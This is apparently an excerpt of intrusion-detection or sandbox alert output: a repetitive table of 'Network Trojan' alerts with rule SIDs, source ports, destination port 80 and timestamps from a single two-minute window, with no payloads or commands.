Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:23.522239 |
SID: | 2021641 |
Source Port: | 49812 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:14.340654 |
SID: | 2025381 |
Source Port: | 49801 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:58.122430 |
SID: | 2024313 |
Source Port: | 49781 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:25.719182 |
SID: | 2024318 |
Source Port: | 49815 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:58.122430 |
SID: | 2024318 |
Source Port: | 49781 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:20.198908 |
SID: | 2021641 |
Source Port: | 49809 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:21.763703 |
SID: | 2825766 |
Source Port: | 49811 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:33.600213 |
SID: | 2025381 |
Source Port: | 49826 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:52.772037 |
SID: | 2825766 |
Source Port: | 49774 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:05.256073 |
SID: | 2025381 |
Source Port: | 49789 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:55.796602 |
SID: | 2024313 |
Source Port: | 49778 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:56.609631 |
SID: | 2825766 |
Source Port: | 49779 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:36.151380 |
SID: | 2024313 |
Source Port: | 49753 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:39.111241 |
SID: | 2025381 |
Source Port: | 49834 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:47.687505 |
SID: | 2024313 |
Source Port: | 49843 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:36.151380 |
SID: | 2024318 |
Source Port: | 49753 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:07.360242 |
SID: | 2025381 |
Source Port: | 49792 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:43.265047 |
SID: | 2021641 |
Source Port: | 49837 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:59.640455 |
SID: | 2021641 |
Source Port: | 49783 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:38.407237 |
SID: | 2025381 |
Source Port: | 49756 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:47.687505 |
SID: | 2024318 |
Source Port: | 49843 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:48.379699 |
SID: | 2825766 |
Source Port: | 49844 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:18.685116 |
SID: | 2024318 |
Source Port: | 49807 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:31.437871 |
SID: | 2021641 |
Source Port: | 49747 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:11.400710 |
SID: | 2025381 |
Source Port: | 49797 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:19.372255 |
SID: | 2825766 |
Source Port: | 49808 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:25.764699 |
SID: | 2021641 |
Source Port: | 49742 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:51.126318 |
SID: | 2024318 |
Source Port: | 49848 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:15.873778 |
SID: | 2825766 |
Source Port: | 49803 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:51.126318 |
SID: | 2024313 |
Source Port: | 49848 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:18.685116 |
SID: | 2024313 |
Source Port: | 49807 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:24.221116 |
SID: | 2024317 |
Source Port: | 49740 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:36.850228 |
SID: | 2825766 |
Source Port: | 49754 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:54.009985 |
SID: | 2825766 |
Source Port: | 49852 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:24.221116 |
SID: | 2024312 |
Source Port: | 49740 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:44.645218 |
SID: | 2025381 |
Source Port: | 49839 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:39.958519 |
SID: | 2024313 |
Source Port: | 49758 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:56.921190 |
SID: | 2024313 |
Source Port: | 49856 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:31.366751 |
SID: | 2024318 |
Source Port: | 49823 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:29.278543 |
SID: | 2021641 |
Source Port: | 49820 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:31.366751 |
SID: | 2024313 |
Source Port: | 49823 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:51.243601 |
SID: | 2025381 |
Source Port: | 49772 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:51.947017 |
SID: | 2024313 |
Source Port: | 49773 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:49.855566 |
SID: | 2025381 |
Source Port: | 49769 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:56.921190 |
SID: | 2024318 |
Source Port: | 49856 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:39.958519 |
SID: | 2024318 |
Source Port: | 49758 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:51.947017 |
SID: | 2024318 |
Source Port: | 49773 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:26.534492 |
SID: | 2825766 |
Source Port: | 49816 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:37.702889 |
SID: | 2021641 |
Source Port: | 49755 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:35.672062 |
SID: | 2021641 |
Source Port: | 49829 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:25.036535 |
SID: | 2025381 |
Source Port: | 49814 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:53.324729 |
SID: | 2024318 |
Source Port: | 49851 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:25.030663 |
SID: | 2825766 |
Source Port: | 49741 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:34.982502 |
SID: | 2024313 |
Source Port: | 49828 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:53.324729 |
SID: | 2024313 |
Source Port: | 49851 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:34.982502 |
SID: | 2024318 |
Source Port: | 49828 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:29.787077 |
SID: | 2024313 |
Source Port: | 49745 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:32.210551 |
SID: | 2825766 |
Source Port: | 49824 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:58.810149 |
SID: | 2825766 |
Source Port: | 49782 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:55.108965 |
SID: | 2025381 |
Source Port: | 49777 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:33.791207 |
SID: | 2021641 |
Source Port: | 49750 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:06.650555 |
SID: | 2021641 |
Source Port: | 49791 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:20.890742 |
SID: | 2024318 |
Source Port: | 49810 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:30.613047 |
SID: | 2825766 |
Source Port: | 49746 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:17.972593 |
SID: | 2025381 |
Source Port: | 49806 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:01.844436 |
SID: | 2024313 |
Source Port: | 49786 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:01.844436 |
SID: | 2024318 |
Source Port: | 49786 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:20.890742 |
SID: | 2024313 |
Source Port: | 49810 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:29.787077 |
SID: | 2024318 |
Source Port: | 49745 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:02.546391 |
SID: | 2825766 |
Source Port: | 49787 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:46.856471 |
SID: | 2025381 |
Source Port: | 49842 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:15.873778 |
SID: | 2024318 |
Source Port: | 49803 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:31.366751 |
SID: | 2825766 |
Source Port: | 49823 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:50.437190 |
SID: | 2025381 |
Source Port: | 49847 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:12.911562 |
SID: | 2024313 |
Source Port: | 49799 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:08.198877 |
SID: | 2024318 |
Source Port: | 49793 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:05.938500 |
SID: | 2021641 |
Source Port: | 49790 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:36.151380 |
SID: | 2825766 |
Source Port: | 49753 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:53.324729 |
SID: | 2825766 |
Source Port: | 49851 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:51.813478 |
SID: | 2021641 |
Source Port: | 49849 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:43.152524 |
SID: | 2825766 |
Source Port: | 49762 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:12.911562 |
SID: | 2024318 |
Source Port: | 49799 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:51.126318 |
SID: | 2825766 |
Source Port: | 49848 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:15.873778 |
SID: | 2024313 |
Source Port: | 49803 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:02.546391 |
SID: | 2021641 |
Source Port: | 49787 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:13.658001 |
SID: | 2021641 |
Source Port: | 49800 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:40.804238 |
SID: | 2825766 |
Source Port: | 49759 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:08.198877 |
SID: | 2024313 |
Source Port: | 49793 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:46.959263 |
SID: | 2024313 |
Source Port: | 49765 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:16.574818 |
SID: | 2825766 |
Source Port: | 49804 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:49.748494 |
SID: | 2025381 |
Source Port: | 49846 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:40.804238 |
SID: | 2021641 |
Source Port: | 49759 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:03.254673 |
SID: | 2021641 |
Source Port: | 49788 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:46.959263 |
SID: | 2024318 |
Source Port: | 49765 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:05.938500 |
SID: | 2825766 |
Source Port: | 49790 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:34.610079 |
SID: | 2025381 |
Source Port: | 49751 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:01.015339 |
SID: | 2025381 |
Source Port: | 49785 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:28.593679 |
SID: | 2024313 |
Source Port: | 49819 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:37.732709 |
SID: | 2825766 |
Source Port: | 49832 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:28.952090 |
SID: | 2025381 |
Source Port: | 49744 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:37.043826 |
SID: | 2024318 |
Source Port: | 49831 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:28.593679 |
SID: | 2024318 |
Source Port: | 49819 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:34.282252 |
SID: | 2025381 |
Source Port: | 49827 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:37.043826 |
SID: | 2024313 |
Source Port: | 49831 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:55.796602 |
SID: | 2825766 |
Source Port: | 49778 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:48.379699 |
SID: | 2024313 |
Source Port: | 49844 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:30.613047 |
SID: | 2024318 |
Source Port: | 49746 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:40.106892 |
SID: | 2024318 |
Source Port: | 49835 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:28.125041 |
SID: | 2021641 |
Source Port: | 49743 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:33.093731 |
SID: | 2024318 |
Source Port: | 49749 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:36.358340 |
SID: | 2025381 |
Source Port: | 49830 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:33.093731 |
SID: | 2024313 |
Source Port: | 49749 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:37.732709 |
SID: | 2021641 |
Source Port: | 49832 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:51.813478 |
SID: | 2825766 |
Source Port: | 49849 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:47.778229 |
SID: | 2825766 |
Source Port: | 49766 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:29.987306 |
SID: | 2025381 |
Source Port: | 49821 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:09.042243 |
SID: | 2825766 |
Source Port: | 49794 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:27.224947 |
SID: | 2021641 |
Source Port: | 49817 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:42.314099 |
SID: | 2024318 |
Source Port: | 49761 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:43.987496 |
SID: | 2025381 |
Source Port: | 49763 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:52.638175 |
SID: | 2024318 |
Source Port: | 49850 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:35.452745 |
SID: | 2024318 |
Source Port: | 49752 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:17.269664 |
SID: | 2025381 |
Source Port: | 49805 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:30.613047 |
SID: | 2024313 |
Source Port: | 49746 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:35.452745 |
SID: | 2024313 |
Source Port: | 49752 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:39.122189 |
SID: | 2025381 |
Source Port: | 49757 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:48.379699 |
SID: | 2024318 |
Source Port: | 49844 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:42.314099 |
SID: | 2024313 |
Source Port: | 49761 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:52.638175 |
SID: | 2024313 |
Source Port: | 49850 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:40.106892 |
SID: | 2024313 |
Source Port: | 49835 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:42.416972 |
SID: | 2825766 |
Source Port: | 49836 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:30.670976 |
SID: | 2024318 |
Source Port: | 49822 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:32.267354 |
SID: | 2025381 |
Source Port: | 49748 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:31.437871 |
SID: | 2825766 |
Source Port: | 49747 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:43.152524 |
SID: | 2021641 |
Source Port: | 49762 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:41.484457 |
SID: | 2025381 |
Source Port: | 49760 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:15.179954 |
SID: | 2025381 |
Source Port: | 49802 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:16.574818 |
SID: | 2021641 |
Source Port: | 49804 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:24.221116 |
SID: | 2825766 |
Source Port: | 49740 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:58.122430 |
SID: | 2825766 |
Source Port: | 49781 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:53.598973 |
SID: | 2825766 |
Source Port: | 49775 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:57.435447 |
SID: | 2024318 |
Source Port: | 49780 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:54.423488 |
SID: | 2025381 |
Source Port: | 49776 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:52.772037 |
SID: | 2024313 |
Source Port: | 49774 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:49.062804 |
SID: | 2021641 |
Source Port: | 49845 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:26.534492 |
SID: | 2024313 |
Source Port: | 49816 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:27.904801 |
SID: | 2025381 |
Source Port: | 49818 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:52.772037 |
SID: | 2024318 |
Source Port: | 49774 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:30.670976 |
SID: | 2024313 |
Source Port: | 49822 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:57.435447 |
SID: | 2024313 |
Source Port: | 49780 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:26.534492 |
SID: | 2024318 |
Source Port: | 49816 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:17.972593 |
SID: | 2024318 |
Source Port: | 49806 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:49.855566 |
SID: | 2024318 |
Source Port: | 49769 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:27.224947 |
SID: | 2825766 |
Source Port: | 49817 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:17.972593 |
SID: | 2024313 |
Source Port: | 49806 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:12.218805 |
SID: | 2825766 |
Source Port: | 49798 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:32.210551 |
SID: | 2024313 |
Source Port: | 49824 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:51.947017 |
SID: | 2025381 |
Source Port: | 49773 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:27.904801 |
SID: | 2021641 |
Source Port: | 49818 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:37.702889 |
SID: | 2025381 |
Source Port: | 49755 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:29.278543 |
SID: | 2825766 |
Source Port: | 49820 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:32.210551 |
SID: | 2024318 |
Source Port: | 49824 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:15.179954 |
SID: | 2825766 |
Source Port: | 49802 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:49.855566 |
SID: | 2024313 |
Source Port: | 49769 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:02.546391 |
SID: | 2024318 |
Source Port: | 49787 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:49.062804 |
SID: | 2825766 |
Source Port: | 49845 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:00.331066 |
SID: | 2021641 |
Source Port: | 49784 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:02.546391 |
SID: | 2024313 |
Source Port: | 49787 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
